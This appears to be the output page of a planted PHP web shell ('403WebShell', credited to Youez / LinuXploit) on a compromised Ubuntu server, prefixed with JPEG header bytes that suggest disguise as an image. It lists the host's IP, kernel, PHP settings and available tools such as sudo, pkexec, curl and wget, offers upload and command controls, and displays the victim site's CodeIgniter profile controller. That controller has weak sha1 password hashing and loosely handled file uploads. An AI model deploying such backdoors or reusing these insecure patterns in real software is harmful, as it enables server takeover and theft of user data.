����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.15.238.90
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/appOLD/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/appOLD/application/controllers/Profile.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

class Profile extends CI_Controller {

	public function __construct()
	{
		parent::__construct();
		$this->load->model('Profile_model');
		$this->load->model('Devices_model');

		if(!isset($_SESSION['user_id'])){
			redirect(base_url('login'), 'refresh');
		}
	}

  public function index()
  {
		$user_id = $this->session->userdata('user_id');
		$data['devices'] = $this->Devices_model->get_devices($user_id);
		$this->load->view('head');
		$this->load->view('scripts');
		$this->load->view('open');
		$this->load->view('header',$data);
		$this->load->view('sidebar');
    $this->load->view('contents/profile',$data);
		$this->load->view('close');
  }

	public function change(){
	$user_id = $this->session->userdata('user_id');

	//$numero = strip_tags($this->input->post('numero'));
	$username = strip_tags($this->input->post('user_name'));
	$password= sha1(strip_tags($this->input->post('password')));
	$email= strip_tags($this->input->post('email'));

	//echo "<pre>";
	//print_r($retiro_local);
	//echo "</pre>";
	//die();
	$config['upload_path']          = '../images/';
	$config['allowed_types']        = 'jpg|png|jpeg';
	$config['max_size']             = 3000000;
	$config['max_width']            = 5000;
	$config['max_height']           = 5000;

	$this->load->library('upload', $config);

	$file_ext1 = pathinfo($_FILES["image"]["name"], PATHINFO_EXTENSION);

	$file_name1 = $_FILES['image']['name'];
	$file_name1 = "https://ioticosadmin.ml/images/".$file_name1;

	$upload_data =  $this->upload->do_upload('image');

	$this->session->set_userdata(array(
			'user_name' => $username,
			'user_email' => $email,
			'user_image' => $file_name1
	));

	$this->db->set('user_name', $username);
	$this->db->set('user_password', $password);
	$this->db->set('user_email', $email);
	$this->db->set('user_image', $file_name1);
	$this->db->where('user_id', $user_id);
	$this->db->update('users');


	redirect(base_url('/profile') , 'refresh');

	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit